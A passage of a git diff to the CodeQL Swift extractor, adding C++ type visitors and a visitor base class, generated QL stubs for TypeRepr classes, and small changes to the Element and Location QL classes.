+    assert(type->getUnderlyingType() && "expect ParenType to have UnderlyingType");
+    auto typeLabel = dispatcher_.fetchLabel(type->getUnderlyingType());
+    dispatcher_.emit(ParenTypesTrap{label, typeLabel});
+  }
+
+  void visitUnarySyntaxSugarType(swift::UnarySyntaxSugarType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    emitUnarySyntaxSugarType(type, label);
+  }
+
+  void visitOptionalType(swift::OptionalType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(OptionalTypesTrap{label});
+    emitUnarySyntaxSugarType(type, label);
+  }
+
+  void visitArraySliceType(swift::ArraySliceType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(ArraySliceTypesTrap{label});
+    emitUnarySyntaxSugarType(type, label);
+  }
+
+  void visitDictionaryType(swift::DictionaryType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    auto keyLabel = dispatcher_.fetchLabel(type->getKeyType());
+    auto valueLabel = dispatcher_.fetchLabel(type->getValueType());
+    dispatcher_.emit(DictionaryTypesTrap{label, keyLabel, valueLabel});
+  }
+
+  void visitGenericFunctionType(swift::GenericFunctionType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(GenericFunctionTypesTrap{label});
+    emitAnyFunctionType(type, label);
+    auto i = 0u;
+    for (auto p : type->getGenericParams()) {
+      dispatcher_.emit(GenericFunctionTypeGenericParamsTrap{label, i++, dispatcher_.fetchLabel(p)});
+    }
+  }
+
+  void visitGenericTypeParamType(swift::GenericTypeParamType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(GenericTypeParamTypesTrap{label, type->getName().str().str()});
+  }
+
+  void visitLValueType(swift::LValueType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    assert(type->getObjectType() && "expect LValueType to have ObjectType");
+    dispatcher_.emit(LValueTypesTrap{label, dispatcher_.fetchLabel(type->getObjectType())});
+  }
+
+  void visitPrimaryArchetypeType(swift::PrimaryArchetypeType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    assert(type->getInterfaceType() && "expect PrimaryArchetypeType to have InterfaceType");
+    dispatcher_.emit(
+        PrimaryArchetypeTypesTrap{label, dispatcher_.fetchLabel(type->getInterfaceType())});
+  }
+
+  void visitUnboundGenericType(swift::UnboundGenericType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    dispatcher_.emit(UnboundGenericTypesTrap{label});
+    emitAnyGenericType(type, label);
+  }
+
+  void visitBoundGenericType(swift::BoundGenericType* type) {
+    auto label = dispatcher_.assignNewLabel(type);
+    emitBoundGenericType(type, label);
+  }
+
+ private:
+  void emitUnarySyntaxSugarType(const swift::UnarySyntaxSugarType* type,
+                                TrapLabel<UnarySyntaxSugarTypeTag> label) {
+    assert(type->getBaseType() && "expect UnarySyntaxSugarType to have BaseType");
+    dispatcher_.emit(UnarySyntaxSugarTypesTrap{label, dispatcher_.fetchLabel(type->getBaseType())});
+  }
+
+  void emitAnyFunctionType(const swift::AnyFunctionType* type,
+                           TrapLabel<AnyFunctionTypeTag> label) {
+    assert(type->getResult() && "expect FunctionType to have Result");
+    dispatcher_.emit(AnyFunctionTypesTrap{label, dispatcher_.fetchLabel(type->getResult())});
+    auto i = 0u;
+    for (const auto& p : type->getParams()) {
+      assert(p.getPlainType() && "expect Param to have PlainType");
+      dispatcher_.emit(
+          AnyFunctionTypeParamTypesTrap{label, i, dispatcher_.fetchLabel(p.getPlainType())});
+      if (p.hasLabel()) {
+        dispatcher_.emit(AnyFunctionTypeParamLabelsTrap{label, i, p.getLabel().str().str()});
+      }
+      ++i;
+    }
+  }
+
+  void emitBoundGenericType(swift::BoundGenericType* type, TrapLabel<BoundGenericTypeTag> label) {
+    auto i = 0u;
+    for (const auto& t : type->getGenericArgs()) {
+      dispatcher_.emit(BoundGenericTypeArgTypesTrap{label, i++, dispatcher_.fetchLabel(t)});
+    }
+    emitAnyGenericType(type, label);
+  }
+
+  void emitAnyGenericType(swift::AnyGenericType* type, TrapLabel<AnyGenericTypeTag> label) {
+    assert(type->getDecl() && "expect AnyGenericType to have Decl");
+    dispatcher_.emit(AnyGenericTypesTrap{label, dispatcher_.fetchLabel(type->getDecl())});
+    if (auto parent = type->getParent()) {
+      dispatcher_.emit(AnyGenericTypeParentsTrap{label, dispatcher_.fetchLabel(parent)});
+    }
+  }
+};
+
+}  // namespace codeql
diff --git a/swift/extractor/visitors/VisitorBase.h b/swift/extractor/visitors/VisitorBase.h
new file mode 100644
index 00000000000..39fade8dd15
--- /dev/null
+++ b/swift/extractor/visitors/VisitorBase.h
@@ -0,0 +1,65 @@
+#pragma once
+
+#include <swift/AST/ASTVisitor.h>
+#include <swift/AST/TypeVisitor.h>
+
+#include "swift/extractor/SwiftDispatcher.h"
+
+namespace codeql {
+
+namespace detail {
+class VisitorBase {
+ protected:
+  SwiftDispatcher& dispatcher_;
+
+ public:
+  // SwiftDispatcher should outlive this instance
+  VisitorBase(SwiftDispatcher& dispatcher) : dispatcher_{dispatcher} {}
+};
+
+}  // namespace detail
+
+// we want to override the default swift visitor behaviour of chaining calls to immediate
+// superclasses by default and instead provide our own TBD default (using the exact type)
+#define DEFAULT(KIND, CLASS, PARENT) \
+  void visit##CLASS##KIND(swift::CLASS##KIND* e) { dispatcher_.emitUnknown(e); }
+
+// base class for our AST visitors, getting a SwiftDispatcher member and default emission for
+// unknown/TBD entities. Like `swift::ASTVisitor`, this uses CRTP (the Curiously Recurring Template
+// Pattern)
+template <typename CrtpSubclass>
+class AstVisitorBase : public swift::ASTVisitor<CrtpSubclass>, protected detail::VisitorBase {
+ public:
+  using VisitorBase::VisitorBase;
+
+#define DECL(CLASS, PARENT) DEFAULT(Decl, CLASS, PARENT)
+#include "swift/AST/DeclNodes.def"
+
+#define STMT(CLASS, PARENT) DEFAULT(Stmt, CLASS, PARENT)
+#include "swift/AST/StmtNodes.def"
+
+#define EXPR(CLASS, PARENT) DEFAULT(Expr, CLASS, PARENT)
+#include "swift/AST/ExprNodes.def"
+
+#define PATTERN(CLASS, PARENT) DEFAULT(Pattern, CLASS, PARENT)
+#include "swift/AST/PatternNodes.def"
+
+#define TYPEREPR(CLASS, PARENT) DEFAULT(TypeRepr, CLASS, PARENT)
+#include "swift/AST/TypeReprNodes.def"
+};
+
+// base class for our type visitor, getting a SwiftDispatcher member and default emission for
+// unknown/TBD types. Like `swift::TypeVisitor`, this uses CRTP (the Curiously Recurring Template
+// Pattern)
+template <typename CrtpSubclass>
+class TypeVisitorBase : public swift::TypeVisitor<CrtpSubclass>, protected detail::VisitorBase {
+ public:
+  using VisitorBase::VisitorBase;
+
+#define TYPE(CLASS, PARENT) DEFAULT(Type, CLASS, PARENT)
+#include "swift/AST/TypeNodes.def"
+};
+
+#undef DEFAULT
+
+}  // namespace codeql
diff --git a/swift/ql/lib/codeql/swift/elements.qll b/swift/ql/lib/codeql/swift/elements.qll
index ab923309b42..54f6253a598 100644
--- a/swift/ql/lib/codeql/swift/elements.qll
+++ b/swift/ql/lib/codeql/swift/elements.qll
@@ -19,10 +19,12 @@ import codeql.swift.elements.expr.Argument
 import codeql.swift.elements.expr.ArrayExpr
 import codeql.swift.elements.type.ArraySliceType
 import codeql.swift.elements.expr.ArrayToPointerExpr
+import codeql.swift.elements.typerepr.ArrayTypeRepr
 import codeql.swift.elements.expr.ArrowExpr
 import codeql.swift.elements.expr.AssignExpr
 import codeql.swift.elements.decl.AssociatedTypeDecl
 import codeql.swift.elements.AstNode
+import codeql.swift.elements.typerepr.AttributedTypeRepr
 import codeql.swift.elements.expr.AutoClosureExpr
 import codeql.swift.elements.expr.AwaitExpr
 import codeql.swift.elements.expr.BinaryExpr
@@ -65,6 +67,10 @@ import codeql.swift.elements.expr.CodeCompletionExpr
 import codeql.swift.elements.expr.CoerceExpr
 import codeql.swift.elements.expr.CollectionExpr
 import codeql.swift.elements.expr.CollectionUpcastConversionExpr
+import codeql.swift.elements.typerepr.CompileTimeConstTypeRepr
+import codeql.swift.elements.typerepr.ComponentIdentTypeRepr
+import codeql.swift.elements.typerepr.CompositionTypeRepr
+import codeql.swift.elements.typerepr.CompoundIdentTypeRepr
 import codeql.swift.elements.decl.ConcreteFuncDecl
 import codeql.swift.elements.decl.ConcreteVarDecl
 import codeql.swift.elements.stmt.ConditionElement
@@ -85,6 +91,7 @@ import codeql.swift.elements.decl.DestructorDecl
 import codeql.swift.elements.expr.DestructureTupleExpr
 import codeql.swift.elements.expr.DictionaryExpr
 import codeql.swift.elements.type.DictionaryType
+import codeql.swift.elements.typerepr.DictionaryTypeRepr
 import codeql.swift.elements.expr.DifferentiableFunctionExpr
 import codeql.swift.elements.expr.DifferentiableFunctionExtractOriginalExpr
 import codeql.swift.elements.expr.DiscardAssignmentExpr
@@ -109,9 +116,11 @@ import codeql.swift.elements.type.EnumType
 import codeql.swift.elements.expr.ErasureExpr
 import codeql.swift.elements.expr.ErrorExpr
 import codeql.swift.elements.type.ErrorType
+import codeql.swift.elements.typerepr.ErrorTypeRepr
 import codeql.swift.elements.expr.ExistentialMetatypeToObjectExpr
 import codeql.swift.elements.type.ExistentialMetatypeType
 import codeql.swift.elements.type.ExistentialType
+import codeql.swift.elements.typerepr.ExistentialTypeRepr
 import codeql.swift.elements.expr.ExplicitCastExpr
 import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.pattern.ExprPattern
@@ -119,6 +128,7 @@ import codeql.swift.elements.decl.ExtensionDecl
 import codeql.swift.elements.stmt.FailStmt
 import codeql.swift.elements.stmt.FallthroughStmt
 import codeql.swift.elements.File
+import codeql.swift.elements.typerepr.FixedTypeRepr
 import codeql.swift.elements.expr.FloatLiteralExpr
 import codeql.swift.elements.stmt.ForEachStmt
 import codeql.swift.elements.expr.ForceTryExpr
@@ -128,27 +138,33 @@ import codeql.swift.elements.expr.ForeignObjectConversionExpr
 import codeql.swift.elements.decl.FuncDecl
 import codeql.swift.elements.expr.FunctionConversionExpr
 import codeql.swift.elements.type.FunctionType
+import codeql.swift.elements.typerepr.FunctionTypeRepr
 import codeql.swift.elements.decl.GenericContext
 import codeql.swift.elements.type.GenericFunctionType
+import codeql.swift.elements.typerepr.GenericIdentTypeRepr
 import codeql.swift.elements.decl.GenericTypeDecl
 import codeql.swift.elements.decl.GenericTypeParamDecl
 import codeql.swift.elements.type.GenericTypeParamType
 import codeql.swift.elements.stmt.GuardStmt
+import codeql.swift.elements.typerepr.IdentTypeRepr
 import codeql.swift.elements.expr.IdentityExpr
 import codeql.swift.elements.decl.IfConfigDecl
 import codeql.swift.elements.expr.IfExpr
 import codeql.swift.elements.stmt.IfStmt
 import codeql.swift.elements.expr.ImplicitConversionExpr
+import codeql.swift.elements.typerepr.ImplicitlyUnwrappedOptionalTypeRepr
 import codeql.swift.elements.decl.ImportDecl
 import codeql.swift.elements.expr.InOutExpr
 import codeql.swift.elements.expr.InOutToPointerExpr
 import codeql.swift.elements.type.InOutType
+import codeql.swift.elements.typerepr.InOutTypeRepr
 import codeql.swift.elements.decl.InfixOperatorDecl
 import codeql.swift.elements.expr.InjectIntoOptionalExpr
 import codeql.swift.elements.expr.IntegerLiteralExpr
 import codeql.swift.elements.expr.InterpolatedStringLiteralExpr
 import codeql.swift.elements.expr.IsExpr
 import codeql.swift.elements.pattern.IsPattern
+import codeql.swift.elements.typerepr.IsolatedTypeRepr
 import codeql.swift.elements.decl.IterableDeclContext
 import codeql.swift.elements.expr.KeyPathApplicationExpr
 import codeql.swift.elements.expr.KeyPathDotExpr
@@ -170,9 +186,11 @@ import codeql.swift.elements.expr.MakeTemporarilyEscapableExpr
 import codeql.swift.elements.expr.MemberRefExpr
 import codeql.swift.elements.expr.MetatypeConversionExpr
 import codeql.swift.elements.type.MetatypeType
+import codeql.swift.elements.typerepr.MetatypeTypeRepr
 import codeql.swift.elements.decl.MissingMemberDecl
 import codeql.swift.elements.decl.ModuleDecl
 import codeql.swift.elements.type.ModuleType
+import codeql.swift.elements.typerepr.NamedOpaqueReturnTypeRepr
 import codeql.swift.elements.pattern.NamedPattern
 import codeql.swift.elements.type.NestedArchetypeType
 import codeql.swift.elements.expr.NilLiteralExpr
@@ -183,6 +201,7 @@ import codeql.swift.elements.expr.NumberLiteralExpr
 import codeql.swift.elements.expr.ObjCSelectorExpr
 import codeql.swift.elements.expr.ObjectLiteralExpr
 import codeql.swift.elements.expr.OneWayExpr
+import codeql.swift.elements.typerepr.OpaqueReturnTypeRepr
 import codeql.swift.elements.type.OpaqueTypeArchetypeType
 import codeql.swift.elements.decl.OpaqueTypeDecl
 import codeql.swift.elements.expr.OpaqueValueExpr
@@ -193,9 +212,11 @@ import codeql.swift.elements.expr.OptionalEvaluationExpr
 import codeql.swift.elements.pattern.OptionalSomePattern
 import codeql.swift.elements.expr.OptionalTryExpr
 import codeql.swift.elements.type.OptionalType
+import codeql.swift.elements.typerepr.OptionalTypeRepr
 import codeql.swift.elements.expr.OtherConstructorDeclRefExpr
 import codeql.swift.elements.expr.OverloadSetRefExpr
 import codeql.swift.elements.expr.OverloadedDeclRefExpr
+import codeql.swift.elements.typerepr.OwnedTypeRepr
 import codeql.swift.elements.decl.ParamDecl
 import codeql.swift.elements.expr.ParenExpr
 import codeql.swift.elements.pattern.ParenPattern
@@ -203,6 +224,7 @@ import codeql.swift.elements.type.ParenType
 import codeql.swift.elements.pattern.Pattern
 import codeql.swift.elements.decl.PatternBindingDecl
 import codeql.swift.elements.type.PlaceholderType
+import codeql.swift.elements.typerepr.PlaceholderTypeRepr
 import codeql.swift.elements.expr.PointerToPointerExpr
 import codeql.swift.elements.decl.PostfixOperatorDecl
 import codeql.swift.elements.expr.PostfixUnaryExpr
@@ -217,6 +239,7 @@ import codeql.swift.elements.type.ProtocolCompositionType
 import codeql.swift.elements.decl.ProtocolDecl
 import codeql.swift.elements.expr.ProtocolMetatypeToObjectExpr
 import codeql.swift.elements.type.ProtocolType
+import codeql.swift.elements.typerepr.ProtocolTypeRepr
 import codeql.swift.elements.expr.RebindSelfInConstructorExpr
 import codeql.swift.elements.type.ReferenceStorageType
 import codeql.swift.elements.expr.RegexLiteralExpr
@@ -225,10 +248,14 @@ import codeql.swift.elements.stmt.ReturnStmt
 import codeql.swift.elements.expr.SelfApplyExpr
 import codeql.swift.elements.type.SequenceArchetypeType
 import codeql.swift.elements.expr.SequenceExpr
+import codeql.swift.elements.typerepr.SharedTypeRepr
 import codeql.swift.elements.type.SilBlockStorageType
 import codeql.swift.elements.type.SilBoxType
+import codeql.swift.elements.typerepr.SilBoxTypeRepr
 import codeql.swift.elements.type.SilFunctionType
 import codeql.swift.elements.type.SilTokenType
+import codeql.swift.elements.typerepr.SimpleIdentTypeRepr
+import codeql.swift.elements.typerepr.SpecifierTypeRepr
 import codeql.swift.elements.stmt.Stmt
 import codeql.swift.elements.stmt.StmtCondition
 import codeql.swift.elements.expr.StringLiteralExpr
@@ -250,6 +277,7 @@ import codeql.swift.elements.expr.TupleElementExpr
 import codeql.swift.elements.expr.TupleExpr
 import codeql.swift.elements.pattern.TuplePattern
 import codeql.swift.elements.type.TupleType
+import codeql.swift.elements.typerepr.TupleTypeRepr
 import codeql.swift.elements.type.Type
 import codeql.swift.elements.decl.TypeAliasDecl
 import codeql.swift.elements.type.TypeAliasType
@@ -262,8 +290,6 @@ import codeql.swift.elements.type.UnarySyntaxSugarType
 import codeql.swift.elements.type.UnboundGenericType
 import codeql.swift.elements.expr.UnderlyingToOpaqueExpr
 import codeql.swift.elements.expr.UnevaluatedInstanceExpr
-import codeql.swift.elements.UnknownAstNode
-import codeql.swift.elements.type.UnknownType
 import codeql.swift.elements.type.UnmanagedStorageType
 import codeql.swift.elements.type.UnownedStorageType
 import codeql.swift.elements.expr.UnresolvedDeclRefExpr
diff --git a/swift/ql/lib/codeql/swift/elements/Element.qll b/swift/ql/lib/codeql/swift/elements/Element.qll
index 34350140805..65da2459a28 100644
--- a/swift/ql/lib/codeql/swift/elements/Element.qll
+++ b/swift/ql/lib/codeql/swift/elements/Element.qll
@@ -1,4 +1,11 @@
-// generated by codegen/codegen.py, remove this comment if you wish to edit this file
 private import codeql.swift.generated.Element
 
-class Element extends ElementBase { }
+class Element extends ElementBase {
+  override string toString() { result = getPrimaryQlClasses() }
+}
+
+class UnknownElement extends Element {
+  UnknownElement() { isUnknown() }
+
+  override string toString() { result = "TBD (" + getPrimaryQlClasses() + ")" }
+}
diff --git a/swift/ql/lib/codeql/swift/elements/Location.qll b/swift/ql/lib/codeql/swift/elements/Location.qll
index 00537c94872..f5943426e58 100644
--- a/swift/ql/lib/codeql/swift/elements/Location.qll
+++ b/swift/ql/lib/codeql/swift/elements/Location.qll
@@ -1,4 +1,11 @@
-// generated by codegen/codegen.py, remove this comment if you wish to edit this file
 private import codeql.swift.generated.Location
 
-class Location extends LocationBase { }
+class Location extends LocationBase {
+  predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    path = getFile().getFullName() and
+    sl = getStartLine() and
+    sc = getStartColumn() and
+    el = getEndLine() and
+    ec = getEndColumn()
+  }
+}
diff --git a/swift/ql/lib/codeql/swift/elements/UnknownAstNode.qll b/swift/ql/lib/codeql/swift/elements/UnknownAstNode.qll
deleted file mode 100644
index 950390f022d..00000000000
--- a/swift/ql/lib/codeql/swift/elements/UnknownAstNode.qll
+++ /dev/null
@@ -1,4 +0,0 @@
-// generated by codegen/codegen.py, remove this comment if you wish to edit this file
-private import codeql.swift.generated.UnknownAstNode
-
-class UnknownAstNode extends UnknownAstNodeBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/type/UnknownType.qll b/swift/ql/lib/codeql/swift/elements/type/UnknownType.qll
deleted file mode 100644
index b869a3b2f61..00000000000
--- a/swift/ql/lib/codeql/swift/elements/type/UnknownType.qll
+++ /dev/null
@@ -1,4 +0,0 @@
-// generated by codegen/codegen.py, remove this comment if you wish to edit this file
-private import codeql.swift.generated.type.UnknownType
-
-class UnknownType extends UnknownTypeBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/ArrayTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/ArrayTypeRepr.qll
new file mode 100644
index 00000000000..84f2705b6fe
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/ArrayTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.ArrayTypeRepr
+
+class ArrayTypeRepr extends ArrayTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/AttributedTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/AttributedTypeRepr.qll
new file mode 100644
index 00000000000..73d3ea97b8f
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/AttributedTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.AttributedTypeRepr
+
+class AttributedTypeRepr extends AttributedTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/CompileTimeConstTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/CompileTimeConstTypeRepr.qll
new file mode 100644
index 00000000000..4235ccbcf50
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/CompileTimeConstTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.CompileTimeConstTypeRepr
+
+class CompileTimeConstTypeRepr extends CompileTimeConstTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/ComponentIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/ComponentIdentTypeRepr.qll
new file mode 100644
index 00000000000..0b5640208f4
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/ComponentIdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.ComponentIdentTypeRepr
+
+class ComponentIdentTypeRepr extends ComponentIdentTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/CompositionTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/CompositionTypeRepr.qll
new file mode 100644
index 00000000000..4f79f493e7e
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/CompositionTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.CompositionTypeRepr
+
+class CompositionTypeRepr extends CompositionTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/CompoundIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/CompoundIdentTypeRepr.qll
new file mode 100644
index 00000000000..aafc54489ac
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/CompoundIdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.CompoundIdentTypeRepr
+
+class CompoundIdentTypeRepr extends CompoundIdentTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/DictionaryTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/DictionaryTypeRepr.qll
new file mode 100644
index 00000000000..a226c72c1d1
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/DictionaryTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.DictionaryTypeRepr
+
+class DictionaryTypeRepr extends DictionaryTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/ErrorTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/ErrorTypeRepr.qll
new file mode 100644
index 00000000000..bc3a125e0ac
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/ErrorTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.ErrorTypeRepr
+
+class ErrorTypeRepr extends ErrorTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/ExistentialTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/ExistentialTypeRepr.qll
new file mode 100644
index 00000000000..7762a02bb64
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/ExistentialTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.ExistentialTypeRepr
+
+class ExistentialTypeRepr extends ExistentialTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/FixedTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/FixedTypeRepr.qll
new file mode 100644
index 00000000000..8c1687c8853
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/FixedTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.FixedTypeRepr
+
+class FixedTypeRepr extends FixedTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/FunctionTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/FunctionTypeRepr.qll
new file mode 100644
index 00000000000..96cba609393
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/FunctionTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.FunctionTypeRepr
+
+class FunctionTypeRepr extends FunctionTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/GenericIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/GenericIdentTypeRepr.qll
new file mode 100644
index 00000000000..48774afb51b
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/GenericIdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.GenericIdentTypeRepr
+
+class GenericIdentTypeRepr extends GenericIdentTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/IdentTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/IdentTypeRepr.qll
new file mode 100644
index 00000000000..5fa70e354e4
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/IdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.IdentTypeRepr
+
+class IdentTypeRepr extends IdentTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/ImplicitlyUnwrappedOptionalTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/ImplicitlyUnwrappedOptionalTypeRepr.qll
new file mode 100644
index 00000000000..d04f438d676
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/ImplicitlyUnwrappedOptionalTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.ImplicitlyUnwrappedOptionalTypeRepr
+
+class ImplicitlyUnwrappedOptionalTypeRepr extends ImplicitlyUnwrappedOptionalTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/InOutTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/InOutTypeRepr.qll
new file mode 100644
index 00000000000..3c17987ccb1
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/InOutTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.InOutTypeRepr
+
+class InOutTypeRepr extends InOutTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/IsolatedTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/IsolatedTypeRepr.qll
new file mode 100644
index 00000000000..1ba568bb793
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/IsolatedTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.IsolatedTypeRepr
+
+class IsolatedTypeRepr extends IsolatedTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/MetatypeTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/MetatypeTypeRepr.qll
new file mode 100644
index 00000000000..6eb6f16f733
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/MetatypeTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.MetatypeTypeRepr
+
+class MetatypeTypeRepr extends MetatypeTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/NamedOpaqueReturnTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/NamedOpaqueReturnTypeRepr.qll
new file mode 100644
index 00000000000..115b02b9858
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/NamedOpaqueReturnTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.NamedOpaqueReturnTypeRepr
+
+class NamedOpaqueReturnTypeRepr extends NamedOpaqueReturnTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/OpaqueReturnTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/OpaqueReturnTypeRepr.qll
new file mode 100644
index 00000000000..cd0586d67f4
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/OpaqueReturnTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.OpaqueReturnTypeRepr
+
+class OpaqueReturnTypeRepr extends OpaqueReturnTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/OptionalTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/OptionalTypeRepr.qll
new file mode 100644
index 00000000000..840cd191f52
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/OptionalTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.OptionalTypeRepr
+
+class OptionalTypeRepr extends OptionalTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/OwnedTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/OwnedTypeRepr.qll
new file mode 100644
index 00000000000..4221a66b762
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/OwnedTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.OwnedTypeRepr
+
+class OwnedTypeRepr extends OwnedTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/PlaceholderTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/PlaceholderTypeRepr.qll
new file mode 100644
index 00000000000..423ced1a5d8
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/PlaceholderTypeRepr.qll
@@ -0,0 +1,4 @@
